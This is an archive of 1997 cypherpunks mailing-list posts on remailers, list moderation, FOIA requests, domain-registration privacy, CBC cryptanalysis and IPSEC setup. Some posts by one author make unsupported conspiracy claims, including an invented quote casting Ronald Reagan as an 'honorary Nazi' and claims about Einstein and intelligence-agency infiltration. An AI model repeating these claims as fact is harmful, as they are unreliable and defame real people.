From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 7 Feb 1997 19:55:54 -0800 (PST)
To: mpd@netcom.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702080355.TAA08276@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mpd@netcom.com"  "Mike Duvos"  7-FEB-1997 20:56:39.36

>That's all very nice, but I should point out that I have not yet
>seen my message to which you are responding on the filtered list. 

>Others mileage may vary. 

	IIRC, Majordomo sends out messages _approximately_ in the order
of the person's subscription. In any event, it has to send them out in _some_
order, and on a mailing list as large as cypherpunks, it's going to take a
while to get from one end to the other.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Fri, 7 Feb 1997 11:56:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702071956.LAA29471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

[...]

> I'm not sure what I think about the response from the SF FBI branch - it
> seems unlikely that they'd never have paid any attention to the list, given
> the media coverage in Wired and other places. On the other hand, maybe the
> FBI doesn't read Wired. :) While they're not supposed to be monitoring
> noncriminal domestic activity, I figured they'd at least have something about
> the Mykotronix stuff. 
> 

If you think so, you may wish to consider filing an FOIA request 
for the Mykotronix stuff, and see if it mentions cypherpunks; 
it could provide an interesting perspective on their response.

John P.
john@huiac.apana.org.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 22:25:50 -0800 (PST)
To: bs-org@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <199702080625.WAA11233@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Raph's remailer list is at
   http://www.cs.berkeley.edu/~raph/remailer-list.html
and indicates lots of different remailer features,
including whether they accept or require PGP,
and what reliability they've been getting recently.

The remailer that was shut down was the remailer named "lead";
you may have noticed that your reply went to a machine named "zinc".....

At 11:56 PM 2/7/97 +0100, you wrote:
>Can anybody give me the address of reliable remailer which accepts
>pgp messages.
>
>BTW which remailer was shut down and why?
>
>
>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 20:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Brassard on Grover's Shake
Message-ID: <199702080410.UAA08550@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Gilles Brassard writes on Grover's "quantum shake" searching 
algorithm, demonstrates how it would break DES, and assays the 
promise of QC research. He notes that enviable NSA funds favor 
LAQC.

-----

   http://jya.com/qshake.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 7 Feb 1997 20:25:58 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
Message-ID: <199702080425.UAA08799@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702072349.PAA20677@peregrine.eng.sun.com>, on 02/07/97 at 05:49 PM,
   Ed.Falk@Eng.Sun.COM (Ed Falk) said:


>We have enough people who want to have a PGP keysigning session at tommorrow's
>meeting to make it worthwhile.  We'll probably be doing it at 17:00 or
>thereabouts.

Unfortunatly I have too much work to make the 3,000 miles to get there. :(

Would it be possiable at the next meeting to set up a CU-SEE-ME session for
those of us who do not live in the Bay Area?

Thanks,

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMvv9D49Co1n+aLhhAQE1lgP/Sh0Mszii6dvSkssMI3rTHllz+EbFrtKk
k3qOPFkBSRbsaSXBTopenUjNpbbHANgzzUJRnekaUJIyZbTGRY9PF+QAFcsF/vXI
2HIjnStiyXdgESPE0YFPRiTzrkR5/18Ga2s20AlWXgaQApSSmIAhwrFWjmi1kQws
y0n+CZwqa0U=
=A+nO
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Veeneman <cypherp@decode.com>
Date: Fri, 7 Feb 1997 21:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional cell phone security hearing
Message-ID: <199702080541.VAA10378@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hyperbole flew hot and heavy during a February 5 hearing on cellular
telephone privacy chaired by Louisiana Republican Billy Tauzin.  The
House Commerce Subcommittee on Telecommunications, Trade, and Consumer
Protection held a hearing titled "Is anybody listening?  You betcha."

Subcommittee members were shocked, just shocked to learn that,
according to a hyper-animated Thomas Wheeler (president of the
Cellular Telephone Industry Association), Americans are engaged
in "electronic stalking" of cellular telephone users.

Further details of CSPAN pandering and Ed Markey's (D-MA) Humpty Dumpty
imitation ("words mean whatever I want them to mean") elided.


Some notable moments:

Representative Cliff Stearns (R-FL), during a discussion about
encryption, called PGP "a darn good program."

Jay Kitchen, head of the Personal Communications Industry Association,
related an (apocryphal?) story about MI5 requiring 2 Crays to run for
3 days to break a single GSM.


Jim Kallstrom, Assistant Director FBI and head of the New York field
office, woodenly delivered his (IMHO unfocused) testimony and reported
that on the first day of the TWA Flight 800 crash investigation he
determined that the news media knew more than they should, so he
confiscated the cell phones of the FBI agents and locked them away,
under the (reasonable) presumption that reporters were listening to
FBI cell phone calls.

Jimmy also reiterated the FBI line that their new wiretap requirements
were reasonable and necessary to protect American citizens from
terrorists.


Dan
dan@decode.com

--
cypherp@decode.com (Dan Veeneman)
Cryptography, Security, Privacy BBS  +1 410 730 6734   Data/FAX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 21:11:01 -0800 (PST)
To: ichudov@algebra.com>
Subject: Re: Sandy suppresses truth about his moderation policy
Message-ID: <199702080511.VAA09788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 7 Feb 1997, Igor Chudov @ home wrote:

> Below are some interesting facts implying that:
> 
> 1) Sandy uses a bot to reject articles of people he does not like

I see no evidence to substantiate this claim.  People who would be most likely
to get auto-blocked have managed to get at least one post sent to the moderated
list.

> 2) When I exposed him with an article showing all Received: dates, 
> he
> 	a) rejected the article exposing him

The only thing your previous post proved is that toad.com has a very little
delay between receiving and sending mail to cypherpunks-unedited.  Notice that
the post in question does not have an altered Message-Id and the sender is set
to owner-cypherpunks, not owner-cypherpunks-unedited which appears in all
messages sent to the flames list.

> and
> 	b) changed his moderation software so that Received: headers
> 	   for the cypherpunks-flames do not show the times when 
> 	   messages came in

The modification was made after there was the problem of the received headers
exposing the supposedly secret outgoing destination address of the moderated
list.  This change was certainly made before February 6, the date the post in
question was posted.  Also, John would have made this modification; not Sandy.


Mark


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Version: 2.6.3
Charset: noconv

iQEVAwUBMvwF/CzIPc7jvyFpAQE0lwf8Dx8bY2WUKDZQ4piOc0XRgY0LpbCOcbXZ
FGMOlR9o1Hk9Z3DlCtNReM1YF9WoeHkc4Z6wDtDu0XJunB5Rj4Hwa1qZmvY2a2S/
IkkBDp+RyA1QpTsEU1fQjNJR0LQBoIa/fVKyAzKJSD66tCHHneIvc4IrXAciobE1
9WX+h6r5wBjXkVEI9mgehrprqBRIRaNgURunyCavbXPbiEoS7bflBfKBLurj7OQf
uAERvyX6YYv7ZaycV9Qjx33ozrSrMzARbahx+ryWrO5MUuoZ9fabyeS61xr141Cv
QCPRyxq1Pl2TcJF2otpxpCuzoty4VzEONDib+O+BkNDPo9sGx8a/8w==
=J1Sw
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Fri, 7 Feb 1997 16:56:23 -0800 (PST)
To: Ed Falk <zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <199702080056.QAA05146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 1997-02-07 -0800, Ed Falk wrote:
>
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Can anybody give me the address of reliable remailer which accepts
pgp messages.

BTW which remailer was shut down and why?









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 07:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Privacy Problems with the IAHC New TLD Report SLD Policies
Message-ID: <199702081525.HAA18724@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The International Internet Ad-Hoc Committee released its report
on new Top Level Domains for the Internet.  It's interesting,
and resulted from much political wrangling and religious conflict,
and for the most part I think it's taking a reasonable approach
to the problems, and I'm certainly not going to go postal like
Postmaster Karl Denninger :-)  A few particularly nice features:
	- .nom TLD, for name-based domains
	- Multiple registrars per name space, reducing the monopoly problem
	- trying to keep governments or PTTs from controlling it,
		though it's a bit big-business oriented for stability reasons.
Mostly I wasn't worried, because sensible people were going to make 
sure they didn't do anything totally disastrous.

Apparently I _should_ have been watching more closely, because the SLD
_Second_ Level Domain part has some policies that seriously interfere
with the privacy of potential domain name users.  
References and long quotes are below...

To a large extent, they've been trying to avoid getting stuck in
trademark problems by collecting lots of information and defining
jurisdiction.  
In the process, they're asking you to sign away your first-born child
in return for getting your name in the Yellow Pages(tm),
and they're requiring all the Registrars to reject your application
unless you do.  

The rules are especially inappropriate for the .nom domain,
which is for personal names and such, and don't need overkill.
There's a place for serious high-value commerce behaviour,
and much of this isn't too inappropriate for .firm - but even that
ignores the radical communication-pushed changes in the economy 
that make everybody able to run a worldwide business. 

It's not just that they want your email address (highly reasonable)
or your phone and physical address (ought to be optional) or your 
IP address (they don't ask) or domain name (ok) or digital or written
signature.
It's not even just obnoxious things like demanding that you 
swear (against _my_ religion...) to a bunch of things, like
"the reason for requesting this particular domain name"
or what you're planning to do with the domain name (perfectly reasonable
things to ask for as optional extras, and business may want to reveal these,
but "Decline to State" or "" or "MYOB" are perfectly reasonable responses.)

It's things like designating an agent for service of process, and
"submits to the personal and subject matter jurisdiction and venue of a 
competent tribunal in the country where the registrar resides".
Aside from believing that you ought to be able to choose what governments,
if any, you're going to subject yourself to, I'd also expect that this
would be
annoying to people who don't live in one of the <=28 countries that
get Registrars in them.  And certainly if you're going to designate
someone as an agent for service of process (you can use the Registrar)
there'd better be some contractual language available so you can tell
what you're swearing to.

Is it reasonable to have a policy that users need to indicate 
how they'd like to receive communications about name and trademark disputes?
Sure.  And that they hold the Registrar harmless in such disputes?  Probably.
And which dispute resolution organization they're willing to have
resolve disputes over names (a _much_ milder statement than
"submit to personal and subject matter jurisdiction"....)?  
Yeah, even if the default is "the Registrar can disconnect your name
if you don't respond to trademark complaints in N days."
Certainly the Registrar ought to have some options here.




======================== REFERENCES ===================================
The Final Report is at http://www.iahc.org/draft-iahc-recommend-00.html
	(nice name for a "final" report :-)
The Application Forms for SLDs aren't in the draft on the web page,
	so I'm assuming they're referring to something similar to the
	December draft's Appendix.
Mailing list archives are at http://www.iahc.org/iahc-discuss/

==========================================================================
	QUOTES FROM THE REPORT
==========================================================================
6.1.5 Second-Level Domains
SLD application 
Application for a second-level domain name must include: 
     Sufficient contact and intended use information
     Appointment of an agent for service of process
     Agreement to jurisdiction in the event of trademark litigation.
     Mediation and arbitration clause (discussed in a later section) 

A separate document entitled "SLD Applications" (see section 1.4) contains 
the information that must be included in a SLD application.
Applications submitted electronically must include state of the art 
electronic identification; written applications must be signed by the
applicant, if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

Renewal and non-use 

To promote accountability, discourage extortion and minimize obsolete
entries, 
SLD assignments must be renewed annually. 
Appendix B, attached, includes the information that must be included 
in a renewal application. Renewal applications submitted 
electronically must include state of the art electronic identification; 
written renewal applications must be signed by the applicant, 
if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

In addition to requiring annual renewal, CORE will develop policies 
to ensure the recovery of sub-domains which no longer have an
authoritative source (lame delegations). 

6.2 Discussion

In order to ensure consistency of basic service across registrars, 
certain information is required in all applications for SLDs under
gTLDs. It is desirable that a domain name application include 
sufficient information regarding the applicant and the applicant's intended
use of the domain name to ensure applicant accountability 
and to ensure that sufficient information is available to enable trademark
owners to assess the need for a challenge to the proposed SLD domain. 

================= [more stuff]
================================================
7.1.3 Publication

All applications for SLDs in the gTLDs will be published on a 
publicly available, publicized web site, immediately upon receipt 
by the registrar. Such publication entries will include: 
     Name of the SLD;
     Contact and use information contained in the application;
     A permanent tag or label (created by CORE) indicating whether 
       the applicant chose the option of waiting 60 days prior to
       assignment of the requested SLD or chose to forego the 60 day wait;
     Entry validation using accepted digital signature and timestamping
techniques. 
Those applicants choosing not to wait will not be in a position to claim 
the defensive benefit of the waiting period against a challenge,
at any time, by a trademark owner. 
===================================================


=======================================================================
	APPENDIX FROM DRAFT - SLD APPLICATION REQUIREMENTS
=======================================================================
11.1 Appendix A - SLD Application Requirements

Every application for assignment of a SLD must include the following elements 
(incomplete applications must be returned to the applicant for completion): 

   1.Applicant's name, business or residential address, email address, 
	fax and phone number(s). 
   2.The state or country of incorporation or partnership (if applicable). 
   3.The name and address of a designated agent for service of process 
	where the registrar is located, which may be the applicant
      in the case of an individual. (The applicant may designate the 
	registrar as the agent for service of process.) 
   4.A sworn statement by the individual applicant or by an officer or 
	general partner of a corporate or partnership applicant: 
        1.that there is a bona fide intent to use the domain name publicly 
		within 60 days of registration, and a bona fide intent to
		continue such use in the foreseeable future; 
        2.that the domain name will be used for [fill in the blank, e.g., 
		"for a web site to advertise applicant's candy 
		manufacturing business"]. This may be a broad statement and is 
		not intended in any way to restrict actual use. However,
		to the extent that a commercial use is intended, this statement 
		should identify the industry in which the use is intended to
		be made and should indicate which of the following uses will 
		be made: web site, email, bulletin board and/other describe); 
        3.that the applicant believes that the intended use of the 
		domain name will not infringe any rights of any other party; 
        4.that the reason for requesting this particular domain name is 
		that it conforms to [check one of the following]: 
	     ___ applicant's company name or variation thereof 
	     ___ applicant's trademark or variation thereof 
	     ___ individual applicant's name or variation thereof 
	     ___ other (provide full explanation) 

   1.that the applicant submits to the personal and subject matter
	jurisdiction and venue of a competent tribunal in the country 
	where the registrar resides for purposes of any action brought 
	under trademark law, unfair competition laws, or similar/related 
	laws arising out of actual or intended use of the domain name 
	applied for; and applicant waives all rights to challenge such personal
	jurisdiction, subject matter jurisdiction and/or venue. 

============================================================================
========





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 07:57:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Successfully Routing Around Censorship In Italy
Message-ID: <199702081557.HAA20051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In Cu Digest, #9.07 -- see Cu Digest Homepage: 
	http://www.soci.niu.edu/~cudigest/  *
is a nice article on how an Italian mailing list 
was blocked by the University bureaucracy.
    LISA (Lista Italiana Sull'Accesso a Internet) is
    "an unmoderated area devoted to discussion about social, cultural
    and economic aspects related to the development of the Internet in Italy."

Two days later they were up and running on a machine in Utah.

> Choosing censorship instead of an open debate is 
> something we will never be willing to silently accept.
> Laura Caponi
> Owner of LISA
> Lista Italiana Sull'Accesso a Internet


* This issue isn't on the web page quite yet....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sat, 8 Feb 1997 00:10:48 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702080810.AAA13064@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com> writes:
> Charley Musselman writes:
> >  Does anyone know the answer?  Specifically, how can we choose
> >  a trusted remailer?
> 
> The answer is to run your own remailer.  Make sure your chain includes your  
> remailer at least once.  If you can't trust yourself, who can you trust?

Ummm, if you run your own remailer, and don't get lots of people to
use it, then traffic analysis will reveal that you are the sender
quite quickly. It will pretty much make everything in the chain before
your remiler useless. If you send your message through remailers a, b,
c, and d like this:

you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen

and only you use c, then your effective chain is:

someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This chain is weak indeed.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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In/0n9QcRqDvmupZFFdldY62orGQyVEm
=JIWK
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 8 Feb 1997 07:25:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: NYC meeting?
Message-ID: <199702081525.HAA18717@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

are there any Cypherpunks-Meetings in NYC?

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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oiV1PFWQx4n1gmG2kZh3PbkXYlOU1dzDwS6nDNx1ZR9mjdTiZ+cWdQ==
=Cnr+
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Layten <larry@ljl.com>
Date: Tue, 11 Feb 1997 05:56:00 -0800 (PST)
To: "cryptography@c2.net>
Subject: RE: Encrypted filing of patents sans GAK?
Message-ID: <199702111356.FAA18866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In all that I have read or heard, I have only seen Key Recovery
techniques in reference to encryption. I don't believe that anyone
thinks that Key Recovery is applicable to digital signatures.

Any well designed system provides for separate keys for encryption
and signature anyway. The application of digital signatures is 
often considered to be a part of encryption, but encryption should 
never be considered part of a digital signature process. The two
are really completely different processes with different purposes 
and ramifications.

Larry






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Fri, 7 Feb 1997 22:40:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless?
Message-ID: <199702080640.WAA11471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702071941.LAA29283@toad.com>,
Peter Trei  <trei@ziplink.net> wrote:
>The purpose of an IV is to make dictionary and replay attacks more
>difficult. It is not intended to prevent brute force attacks, and so
>is _normally_ included in the clear in communications protocols (for
>example, see RFC 1827 for it's clear transmission in IPSEC). If it
>is not included, it is effectively part of the keying material, and
>thus adds it's bits to the strength of the key. As such, its value
>would have to be transmitted and protected as carefully as the rest of
>the key.  

This is a common mistake.  Just use the first block of ciphertext as the IV,
and start decrypting from the second block.  Let's say you discover that
key K causes C2,C3,... to decrypt to something intelligible (P2,P3,...),
using C1 as the IV.  What could P1 have been?  Well, we know that
(if IV is the _actual_ IV, which you don't know) E_K[IV^P1] = C1, so
IV^P1 = D_K[C1].  But we now have what is effectively a one-time pad
situation, where P1 is the plaintext, IV is the pad, and D_K[C1] is the
ciphertext.  Thus, if you don't know the IV in a CBC situation, you can
still recover all of the plaintext starting at the second block with
the same amount of work it would have taken to have recovered the whole
plaintext, given the IV (the IV does not in fact add its bits to the
strength of the key), but you learn nothing about the first block
(unless something about the protocol gives you a clue based on your knowledge
of subsequent blocks).

Disclaimer: I've been having a rough week...

   - Ian

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 07:56:01 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com>
Subject: Re: faulty moderation software: duplicate messages
Message-ID: <199702081556.HAA20009@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:1759 "Mark M." <markm@voicenet.com> said:

+All messages with "Sender: owner-cypherpunks-unedited@toad.com" are
+received from the flames list.  The difference between the unedited and
+moderated lists is that the moderated list changes the message ID,
+appending toad.com, and deletes all received headers before
+"majordom@localhost.*by toad.com".  None of the messages are being
+doubled; this is just the result of buggy software

    if you receive both the unedited and the censored plus flames, each 
    message should be doubled --unedited sends all messages, but fails 
    to always mark them in sender -basically, you need to key on the 
    fact the Message-ID is NOT ....@toad.com for the unedited file

    no, I dont have a problem with that, it is just stupid on toad's 
    part (John?) to not correctly identify the pass through messages 
    with 'Sender: owner-cypherpunks-unedited@toad.com'  --a few are, 
    but the vast majority are still shipped out as 'Sender: 
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed 
    out in my original post). to me that is piss poor list management.

    unfortunately, I can not use procmail at this point on my mail 
    reader platform, but the internal filters are multilevel and do 
    allow enough flexibility. I use procmail extensively on my host for 
    autobots, spam filtering, objectional posters filtering, etc. 

    I think you  probably have an error in your procmail script as to 
    sending 'unedited' to flames. the theory stated is:
    
        mainline (censored) + flames == unedited

    but I will not test it since I prefer to read/respond off line with 
    MR/2 than Pine online. I will request Nick Knight for the 
    construction of his folders (except he has no lock mechanism) and I 
    might write a PPP POP3 mail recovery program, pass it through 
    procmail which passes it to a function to write it to MR/2's 
    folders.

        however you slice it, censorship on a freedom of speech list     
    just does not make it and we make fools of ourselves if we think 
    otherwise.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 05:56:07 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702111356.FAA18876@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> What else do I need for an internet server?
> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> speed hard drives.  These are the Tall Towers that have multiple
> drives, these are server towers.
> I think I have a router Hub.  And a couple LAN cards.
> That's all I have.  But I just got them, and I want to use them.  I assume I
> will be using some kind of UNIX software.

HP does some strange things to their BIOS software - you may want to
get one of those net analyzer tools and some low-level software that
can monitor what your HP's are sending and receiving, just in case.

They don't normally use Vectras for UNIX, so what effects you can
expect, I don't know.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 11 Feb 1997 06:11:45 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: NETLINK_IPSEC
Message-ID: <199702111411.GAA19349@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:21 PM 2/7/97 -0800, Jeremey Barrett wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>When running 'make modules', NETLINK_IPSEC and IPFWD_NOTTLDEC are
>undeclared. I added NETLINK_IPSEC to include/net/netlink.h,
>but IPFWD_NOTTLDEC is not to be found. I'm running kernel 2.0.0,
>the INSTALL.txt file in the ipsec distribution mentions 2.0.24,
>is that the minimum kernel to run on?

Is there any specific reason for staying with the 2.0.0 kernel?  (I would
think you would want to upgrade just for the "Ping O' Death" fix alone.)

Has anyone tried IPSEC with the 2.1.x kernels?  Are there a logcation that
describes the differences between 2.0.x and 2.1.x?  (I have not been able to
find one...)  Then again, I have yet to find a list of what was fixed from
kernel to kernel...  (Probibly in some directory of the tar file...)

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-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 09:42:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702081742.JAA00228@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


??? wrote:

[some text deleted]

> > Before I explain what has happened, I want to make one thing
> > absolutely clear.  Though I've thought the moderation of cypherpunks
> > was a terrible idea from the start and am even more convinced of it
> > now, I don't assign any blame to Sandy.  I believe he offered to
> > moderate the list with the best of intentions, and I sincerely
> > appreciate his efforts to try to revive what was once a fantastic
> > mailing list, even if in my opinion those efforts have backfired.

This is the fatal mistake, assuming it's really a mistake.
I've worked under several corporations where, at a certain
point in time, things just "went crazy", and the owners/
managers were scrambling desperately to plug as many holes
in the dike as they possibly could, to no avail.

People don't understand why things just "go crazy" at a particular
point, and so they accept the coincidence theory ruse, lacking any
other evidence.  Use your head, folks.  This is not a list made up
of sewing-circle nannies, these are security people, NSA, CIA, and
all the ugly things you shut out of your conversations because you
don't want to admit the truth.  "Paranoia is a way of knowing".

Today I saw an old picture of Albert Einstein in full Indian regalia,
smoking a peace pipe with some Hopi people.  I thought of the Capone
mob and the "kiss of death", or Judas and Jesus, you get the picture.

So Einstein puts his name and reputation and personal seal of approval
on the creation of the Doomsday Device, the atom bomb, knowing full
well that it will be used to murder millions of people. What does he
do for an encore?  Plants the "kiss of death" on the Hopis, whose
environment is co-opted by the mad bombers and their Nazi-infested
thug "scientist" cohorts, for the experimentation and storage of
nuclear and other hazardous materials.  You know, Nevada, Arizona,
New Mexico, all those "useless, desert lands" occupied by the
Indians.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 8 Feb 1997 09:41:04 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702081741.JAA00191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 2/6/97 -0800, Anil Das wrote:

>    However, the question has to be asked, why the fuck should we non US
citizens go and buy
>    cryptographic software that is deliberately coded to allow the US
government to read our mail? 

You shouldn't.

Maybe someone should print up a batch of "Voyeur Enabled" stickers for all
the GAKed products  (or should that be KRAP products, since it is the Key
Recovery Alliance, but that is redundant) we will be seeing at our local
software stores.

Sometimes I think the reason for all this snake oil we have been seeing is
the Feds need it for extra lubricant so they don't chafe themselves while
getting off on reading our mail.

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-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 09:40:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Internet Alert! Pay for local dial-up??
Message-ID: <199702081740.JAA00165@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E-Mail Communications wrote:

> See our "Patriotic Quotes That Make Sense"
> at the end of this publication.

> "We will always remember.  We will always be proud.  We will
> always be prepared, so we may always be free."
> -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France

What Ronald Reagan didn't say (but what he really meant):

"I come here to Bitburg to honor the fallen Nazis, because I am in
fact an honorary Nazi myself. Just ask my personal secretary Helen,
who used to work for Fritz Kraemer."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Sat, 8 Feb 1997 07:25:49 -0800 (PST)
To: rodney@sabletech.com
Subject: Re: is there a FAQ
Message-ID: <199702081525.HAA18723@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>   I am working on getting 3DES working (it's in the ipsec-0.4 code
> base, but no doc on how to configure it!) now and could use more
> documentation my self.

Use the setsa program provided in the utils directory. Something along
the lines of

	setsa esp 3des-md5 i key 
should do the trick. It was really a choice between distributing the code and 
lingering on it for a few more days until the docs were better, and I chose
the first. Bsides, the source *is* the ultimate documentation :-)

/ji





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
